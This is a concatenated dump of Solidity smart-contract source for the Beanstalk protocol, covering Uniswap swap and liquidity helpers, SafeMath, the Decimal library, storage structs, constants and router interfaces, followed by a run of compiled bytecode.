al.beanAmount.add(sellBeans).sub(beans.add(beansSold)) ); if (ethAdded < wethBought.add(msg.value)) { uint256 eth = wethBought.add(msg.value).sub(ethAdded); IWETH(ds.weth).withdraw(eth); (bool success, ) = msg.sender.call{value: eth}(""); require(success, "Market: Ether transfer failed."); } return liquidity; } /** * Shed **/ function _sell(uint256 sellBeanAmount, uint256 minBuyEthAmount, address to) private returns (uint256 inAmount, uint256 outAmount) { DiamondStorage storage ds = diamondStorage(); address[] memory path = new address[](2); path[0] = ds.bean; path[1] = ds.weth; uint[] memory amounts = IUniswapV2Router02(ds.router).swapExactTokensForTokens( sellBeanAmount, minBuyEthAmount, path, to, block.timestamp.add(1) ); return (amounts[0], amounts[1]); } function _buy(uint256 beanAmount, uint256 ethAmount, address to) private returns (uint256 inAmount, uint256 outAmount) { DiamondStorage storage ds = diamondStorage(); address[] memory path = new address[](2); path[0] = ds.weth; path[1] = ds.bean; uint[] memory amounts = IUniswapV2Router02(ds.router).swapExactETHForTokens{value: ethAmount}( beanAmount, path, to, block.timestamp.add(1) ); return (amounts[0], amounts[1]); } function _buyWithWETH(uint256 beanAmount, uint256 ethAmount, address to) private returns (uint256 inAmount, uint256 outAmount) { DiamondStorage storage ds = diamondStorage(); address[] memory path = new address[](2); path[0] = ds.weth; path[1] = ds.bean; uint[] memory amounts = IUniswapV2Router02(ds.router).swapExactTokensForTokens( ethAmount, beanAmount, path, to, block.timestamp.add(1) ); return (amounts[0], amounts[1]); } function _addLiquidity(uint256 ethAmount, uint256 beanAmount, uint256 minEthAmount, uint256 minBeanAmount) private returns (uint256, uint256, uint256) { DiamondStorage storage ds = diamondStorage(); return IUniswapV2Router02(ds.router).addLiquidityETH{value: ethAmount}( ds.bean, beanAmount, minBeanAmount, minEthAmount, address(this), block.timestamp.add(1)); } function _addLiquidityWETH(uint256 wethAmount, uint256 beanAmount, uint256 minWethAmount, uint256 minBeanAmount) private returns (uint256, uint256, uint256) { DiamondStorage storage ds = diamondStorage(); return IUniswapV2Router02(ds.router).addLiquidity( ds.bean, ds.weth, beanAmount, wethAmount, minBeanAmount, minWethAmount, address(this), block.timestamp.add(1)); } function _amountIn(uint256 buyWethAmount) internal view returns (uint256) { DiamondStorage storage ds = diamondStorage(); address[] memory path = new address[](2); path[0] = ds.bean; path[1] = ds.weth; uint256[] memory amounts = IUniswapV2Router02(ds.router).getAmountsIn(buyWethAmount, path); return amounts[0]; } function transferAllocatedBeans(uint256 allocatedBeans, uint256 transferBeans) internal { DiamondStorage storage ds = diamondStorage(); if (allocatedBeans == 0) { IBean(ds.bean).transferFrom(msg.sender, address(this), transferBeans); } else if (allocatedBeans >= transferBeans) { emit BeanAllocation(msg.sender, transferBeans); if (allocatedBeans > transferBeans) IBean(ds.bean).transfer(msg.sender, allocatedBeans.sub(transferBeans)); } else { emit BeanAllocation(msg.sender, allocatedBeans); IBean(ds.bean).transferFrom(msg.sender, address(this), transferBeans.sub(allocatedBeans)); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } /* SPDX-License-Identifier: MIT */ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "./libraries/Decimal.sol"; /** * @author Publius * @title C holds the contracts for Beanstalk. **/ library C { using Decimal for Decimal.D256; using SafeMath for uint256; // Chain uint256 private constant CHAIN_ID = 1; // Mainnet // Season uint256 private constant CURRENT_SEASON_PERIOD = 3600; // 1 hour // Sun uint256 private constant HARVESET_PERCENTAGE = 5e17; // 50% // Weather uint256 private constant POD_RATE_LOWER_BOUND = 5e16; // 5% uint256 private constant OPTIMAL_POD_RATE = 15e16; // 15% uint256 private constant POD_RATE_UPPER_BOUND = 25e16; // 25% uint256 private constant DELTA_POD_DEMAND_LOWER_BOUND = 95e16; // 95% uint256 private constant DELTA_POD_DEMAND_UPPER_BOUND = 105e16; // 105% uint256 private constant STEADY_SOW_TIME = 60; // 1 minute uint256 private constant RAIN_TIME = 24; // 24 seasons = 1 day // Governance uint32 private constant GOVERNANCE_PERIOD = 168; // 168 seasons = 7 days uint32 private constant GOVERNANCE_EMERGENCY_PERIOD = 86400; // 1 day uint256 private constant GOVERNANCE_PASS_THRESHOLD = 5e17; // 1/2 uint256 private constant GOVERNANCE_EMERGENCY_THRESHOLD_NUMERATOR = 2; // 2/3 uint256 private constant GOVERNANCE_EMERGENCY_THRESHOLD_DEMONINATOR = 3; // 2/3 uint32 private constant GOVERNANCE_EXPIRATION = 24; // 24 seasons = 1 day uint256 private constant GOVERNANCE_PROPOSAL_THRESHOLD = 1e15; // 0.1% uint256 private constant BASE_COMMIT_INCENTIVE = 1e8; // 100 beans uint256 private constant MAX_PROPOSITIONS = 5; // Silo uint256 private constant BASE_ADVANCE_INCENTIVE = 1e8; // 100 beans uint32 private constant WITHDRAW_TIME = 25; // 24 + 1 seasons uint256 private constant SEEDS_PER_BEAN = 2; uint256 private constant SEEDS_PER_LP_BEAN = 4; uint256 private constant STALK_PER_BEAN = 10000; uint256 private constant ROOTS_BASE = 1e12; // Field uint256 private constant SOIL_MAX_RATIO_CAP = 25e16; // 25% uint256 private constant SOIL_MIN_RATIO_CAP = 1e15; // 0.1% /** * Getters **/ function getSeasonPeriod() internal pure returns (uint256) { return CURRENT_SEASON_PERIOD; } function getGovernancePeriod() internal pure returns (uint32) { return GOVERNANCE_PERIOD; } function getGovernanceEmergencyPeriod() internal pure returns (uint32) { return GOVERNANCE_EMERGENCY_PERIOD; } function getGovernanceExpiration() internal pure returns (uint256) { return GOVERNANCE_EXPIRATION; } function getGovernancePassThreshold() internal pure returns (Decimal.D256 memory) { return Decimal.D256({value: GOVERNANCE_PASS_THRESHOLD}); } function getGovernanceEmergencyThreshold() internal pure returns (Decimal.D256 memory) { return Decimal.ratio(GOVERNANCE_EMERGENCY_THRESHOLD_NUMERATOR,GOVERNANCE_EMERGENCY_THRESHOLD_DEMONINATOR); } function getGovernanceProposalThreshold() internal pure returns (Decimal.D256 memory) { return Decimal.D256({value: GOVERNANCE_PROPOSAL_THRESHOLD}); } function getAdvanceIncentive() internal pure returns (uint256) { return BASE_ADVANCE_INCENTIVE; } function getCommitIncentive() internal pure returns (uint256) { return BASE_COMMIT_INCENTIVE; } function getSiloWithdrawSeasons() internal pure returns (uint32) { return WITHDRAW_TIME; } function getMinSoilRatioCap() internal pure returns (uint256) { return SOIL_MIN_RATIO_CAP; } function getMaxSoilRatioCap() internal pure returns (uint256) { return SOIL_MAX_RATIO_CAP; } function getHarvestPercentage() internal pure returns (uint256) { return HARVESET_PERCENTAGE; } function getChainId() internal pure returns (uint256) { return CHAIN_ID; } function getOptimalPodRate() internal pure returns (Decimal.D256 memory) { return Decimal.ratio(OPTIMAL_POD_RATE,1e18); } function getUpperBoundPodRate() internal pure returns (Decimal.D256 memory) { return Decimal.ratio(POD_RATE_UPPER_BOUND,1e18); } function getLowerBoundPodRate() internal pure returns (Decimal.D256 memory) { return Decimal.ratio(POD_RATE_LOWER_BOUND,1e18); } function getUpperBoundDPD() internal pure returns (Decimal.D256 memory) { return Decimal.ratio(DELTA_POD_DEMAND_UPPER_BOUND,1e18); } function getLowerBoundDPD() internal pure returns (Decimal.D256 memory) { return Decimal.ratio(DELTA_POD_DEMAND_LOWER_BOUND,1e18); } function getSteadySowTime() internal pure returns (uint256) { return STEADY_SOW_TIME; } function getRainTime() internal pure returns (uint256) { return RAIN_TIME; } function getMaxPropositions() internal pure returns (uint256) { return MAX_PROPOSITIONS; } function getSeedsPerBean() internal pure returns (uint256) { return SEEDS_PER_BEAN; } function getSeedsPerLPBean() internal pure returns (uint256) { return SEEDS_PER_LP_BEAN; } function getStalkPerBean() internal pure returns (uint256) { return STALK_PER_BEAN; } function getStalkPerLPSeed() internal pure returns (uint256) { return STALK_PER_BEAN/SEEDS_PER_LP_BEAN; } function getRootsBase() internal pure returns (uint256) { return ROOTS_BASE; } } /* SPDX-License-Identifier: MIT */ pragma solidity ^0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @author Publius * @title WETH Interface **/ interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint) external; } /* SPDX-License-Identifier: MIT */ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "../interfaces/IDiamondCut.sol"; /** * @author Publius * @title App Storage defines the state object for Beanstalk. **/ contract Account { struct Field { mapping(uint256 => uint256) plots; mapping(address => uint256) podAllowances; } struct AssetSilo { mapping(uint32 => uint256) withdrawals; mapping(uint32 => uint256) deposits; mapping(uint32 => uint256) depositSeeds; } struct Silo { uint256 stalk; uint256 seeds; } struct SeasonOfPlenty { uint256 base; uint256 roots; uint256 basePerRoot; } struct State { Field field; AssetSilo bean; AssetSilo lp; Silo s; uint32 lockedUntil; uint32 lastUpdate; uint32 lastSop; uint32 lastRain; uint32 lastSIs; SeasonOfPlenty sop; uint256 roots; } } contract Storage { struct Contracts { address bean; address pair; address pegPair; address weth; } // Field struct Field { uint256 soil; uint256 pods; uint256 harvested; uint256 harvestable; } // Governance struct Bip { address proposer; uint32 start; uint32 period; bool executed; int pauseOrUnpause; uint128 timestamp; uint256 roots; uint256 endTotalRoots; } struct DiamondCut { IDiamondCut.FacetCut[] diamondCut; address initAddress; bytes initData; } struct Governance { uint32[] activeBips; uint32 bipIndex; mapping(uint32 => DiamondCut) diamondCuts; mapping(uint32 => mapping(address => bool)) voted; mapping(uint32 => Bip) bips; } // Silo struct AssetSilo { uint256 deposited; uint256 withdrawn; } struct IncreaseSilo { uint256 beans; uint256 stalk; } struct LegacyIncreaseSilo { uint256 beans; uint256 stalk; uint256 roots; } struct SeasonOfPlenty { uint256 weth; uint256 base; uint32 last; } struct Silo { uint256 stalk; uint256 seeds; uint256 roots; } // Season struct Oracle { bool initialized; uint256 cumulative; uint256 pegCumulative; uint32 timestamp; uint32 pegTimestamp; } struct Rain { uint32 start; bool raining; uint256 pods; uint256 roots; } struct Season { uint32 current; uint32 sis; uint256 start; uint256 period; uint256 timestamp; } struct Weather { uint256 startSoil; uint256 lastDSoil; uint96 lastSoilPercent; uint32 lastSowTime; uint32 nextSowTime; uint32 yield; bool didSowBelowMin; bool didSowFaster; } } struct AppStorage { uint8 index; int8[32] cases; bool paused; uint128 pausedAt; Storage.Season season; Storage.Contracts c; Storage.Field f; Storage.Governance g; Storage.Oracle o; Storage.Rain r; Storage.Silo s; uint256 depreciated1; Storage.Weather w; Storage.AssetSilo bean; Storage.AssetSilo lp; Storage.IncreaseSilo si; Storage.SeasonOfPlenty sop; Storage.LegacyIncreaseSilo legSI; uint256 unclaimedRoots; uint256 depreciated2; mapping (uint32 => uint256) sops; mapping (address => Account.State) a; uint32 bip0Start; uint32 hotFix3Start; } /** * SPDX-License-Identifier: MIT **/ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @author Publius * @title Bean Interface **/ abstract contract IBean is IERC20 { function burn(uint256 amount) public virtual; function burnFrom(address account, uint256 amount) public virtual; function mint(address account, uint256 amount) public virtual returns (bool); } /* SPDX-License-Identifier: MIT */ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title Decimal * @author dYdX * * Library that defines a fixed-point number with 18 decimal places. */ library Decimal { using SafeMath for uint256; // ============ Constants ============ uint256 constant BASE = 10**18; // ============ Structs ============ struct D256 { uint256 value; } // ============ Static Functions ============ function zero() internal pure returns (D256 memory) { return D256({ value: 0 }); } function one() internal pure returns (D256 memory) { return D256({ value: BASE }); } function from( uint256 a ) internal pure returns (D256 memory) { return D256({ value: a.mul(BASE) }); } function ratio( uint256 a, uint256 b ) internal pure returns (D256 memory) { return D256({ value: getPartial(a, BASE, b) }); } // ============ Self Functions ============ function add( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.add(b.mul(BASE)) }); } function sub( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.mul(BASE)) }); } function sub( D256 memory self, uint256 b, string memory reason ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.mul(BASE), reason) }); } function mul( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.mul(b) }); } function div( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.div(b) }); } function pow( D256 memory self, uint256 b ) internal pure returns (D256 memory) { if (b == 0) { return from(1); } D256 memory temp = D256({ value: self.value }); for (uint256 i = 1; i < b; i++) { temp = mul(temp, self); } return temp; } function add( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: self.value.add(b.value) }); } function sub( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.value) }); } function sub( D256 memory self, D256 memory b, string memory reason ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.value, reason) }); } function mul( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: getPartial(self.value, b.value, BASE) }); } function div( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: getPartial(self.value, BASE, b.value) }); } function equals(D256 memory self, D256 memory b) internal pure returns (bool) { return self.value == b.value; } function greaterThan(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) == 2; } function lessThan(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) == 0; } function greaterThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) > 0; } function lessThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) < 2; } function isZero(D256 memory self) internal pure returns (bool) { return self.value == 0; } function asUint256(D256 memory self) internal pure returns (uint256) { return self.value.div(BASE); } // ============ Core Methods ============ function getPartial( uint256 target, uint256 numerator, uint256 denominator ) private pure returns (uint256) { return target.mul(numerator).div(denominator); } function compareTo( D256 memory a, D256 memory b ) private pure returns (uint256) { if (a.value == b.value) { return 1; } return a.value > b.value ? 2 : 0; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma experimental ABIEncoderV2; pragma solidity ^0.7.6; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) /******************************************************************************/ interface IDiamondCut { enum FacetCutAction {Add, Replace, Remove} struct FacetCut { address facetAddress; FacetCutAction action; bytes4[] functionSelectors; } /// @notice Add/replace/remove any number of functions and optionally execute /// a function with delegatecall /// @param _diamondCut Contains the facet addresses and function selectors /// @param _init The address of the contract or facet to execute _calldata /// @param _calldata A function call, including function selector and arguments /// _calldata is executed with delegatecall on _init function diamondCut( FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata ) external; event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata); } /* SPDX-License-Identifier: MIT */ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "../farm/AppStorage.sol"; /** * @author Publius * @title App Storage Library allows libaries to access Beanstalk's state. **/ library LibAppStorage { function diamondStorage() internal pure returns (AppStorage storage ds) { assembly { ds.slot := 0 } } } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
0x60806040526004361061033f5760003560e01c80637ea9417a116101b0578063be6547d2116100ec578063d8bd0d9d11610095578063eb37acfc1161006f578063eb37acfc146108b6578063f4bf2908146108d6578063f6fd9fb7146108f6578063f8ac3a0b1461090b5761033f565b8063d8bd0d9d1461086c578063e1c0dcaf14610881578063e41b8dc0146108965761033f565b8063cf13c9d3116100c6578063cf13c9d314610831578063d2474ac514610844578063d76a4795146108595761033f565b8063be6547d2146107cf578063cb03fb1e146107e4578063cbf9fe5f146108045761033f565b80639bc289f111610159578063aa02e80e11610133578063aa02e80e1461074f578063b164033f1461076f578063b91da5481461078f578063ba39dc02146107af5761033f565b80639bc289f1146106fc5780639ce7607f1461071c578063a5b6bfc51461073c5761033f565b80638bee54991161018a5780638bee5499146106b45780638eeae310146106c75780638ef2ef63146106e75761033f565b80637ea9417a1461065257806387145fb2146106675780638877a158146106945761033f565b8063465441661161027f5780636a96c1141161022857806375ce258d1161020257806375ce258d146105e857806376f5b264146106085780637b52fadf1461061d5780637b77f14c146106325761033f565b80636a96c114146105935780636b970767146105b357806370ab4433146105d35761033f565b806358e80dc71161025957806358e80dc71461053e57806365db7b851461056057806369fbad94146105735761033f565b806346544166146104e75780634916bc72146104fc5780634b42eb2e1461051c5761033f565b8063162513e9116102ec5780633bfab06b116102c65780633bfab06b146104575780633e5a9d83146104855780633fc8cef3146104a557806340654e14146104c75761033f565b8063162513e9146103f7578063249564aa146104175780633a0463b3146104375761033f565b80630e34dd471161031d5780630e34dd47146103af578063106acf1c146103c457806312c6c969146103d75761033f565b806303c5b1481461034457806305695d2e1461037a5780630ce311271461039a575b600080fd5b34801561035057600080fd5b5061036461035f366004614c88565b61092b565b6040516103719190615866565b60405180910390f35b34801561038657600080fd5b50610364610395366004614c88565b61094f565b6103ad6103a8366004614ef3565b610b07565b005b3480156103bb57600080fd5b50610364610b1b565b6103ad6103d2366004614f6f565b610b21565b3480156103e357600080fd5b506103646103f2366004614ca2565b610bbe565b34801561040357600080fd5b50610364610412366004614c88565b610bf2565b34801561042357600080fd5b50610364610432366004614c88565b610c75565b34801561044357600080fd5b506103ad610452366004614ff5565b610cac565b34801561046357600080fd5b50610477610472366004614ca2565b610d44565b6040516103719291906158bd565b34801561049157600080fd5b506103ad6104a0366004614d68565b610d86565b3480156104b157600080fd5b506104ba610dc2565b6040516103719190615261565b3480156104d357600080fd5b506103646104e2366004614c88565b610dd1565b3480156104f357600080fd5b50610364610dfb565b34801561050857600080fd5b50610364610517366004614c88565b610e01565b34801561052857600080fd5b50610531610e3c565b604051610371919061583f565b34801561054a57600080fd5b50610553610e6f565b604051610371919061581e565b6103ad61056e36600461505b565b610e9c565b34801561057f57600080fd5b5061036461058e366004614c88565b610ec5565b34801561059f57600080fd5b506103646105ae366004614ec3565b610ee3565b3480156105bf57600080fd5b506103646105ce366004614ca2565b610f18565b3480156105df57600080fd5b50610364610f4b565b3480156105f457600080fd5b506103ad610603366004614ec3565b610f51565b34801561061457600080fd5b50610364610fe7565b34801561062957600080fd5b50610364610fed565b34801561063e57600080fd5b5061036461064d366004614c88565b610ff3565b34801561065e57600080fd5b5061036461100b565b34801561067357600080fd5b50610687610682366004614c88565b611011565b6040516103719190615907565b3480156106a057600080fd5b506103646106af366004614c88565b61103c565b6103ad6106c2366004614c88565b61105c565b3480156106d357600080fd5b506103646106e2366004614c88565b61124e565b3480156106f357600080fd5b506103646112ad565b34801561070857600080fd5b50610687610717366004614c88565b6112c5565b34801561072857600080fd5b50610364610737366004614ca2565b611305565b6103ad61074a3660046150d6565b611338565b34801561075b57600080fd5b506103ad61076a366004614dd1565b61136d565b34801561077b57600080fd5b5061036461078a366004614c88565b611433565b34801561079b57600080fd5b506103ad6107aa366004614dd1565b6114ed565b3480156107bb57600080fd5b506103646107ca366004614c88565b6115ab565b3480156107db57600080fd5b506106876115c9565b3480156107f057600080fd5b506106876107ff366004614c88565b6115d5565b34801561081057600080fd5b50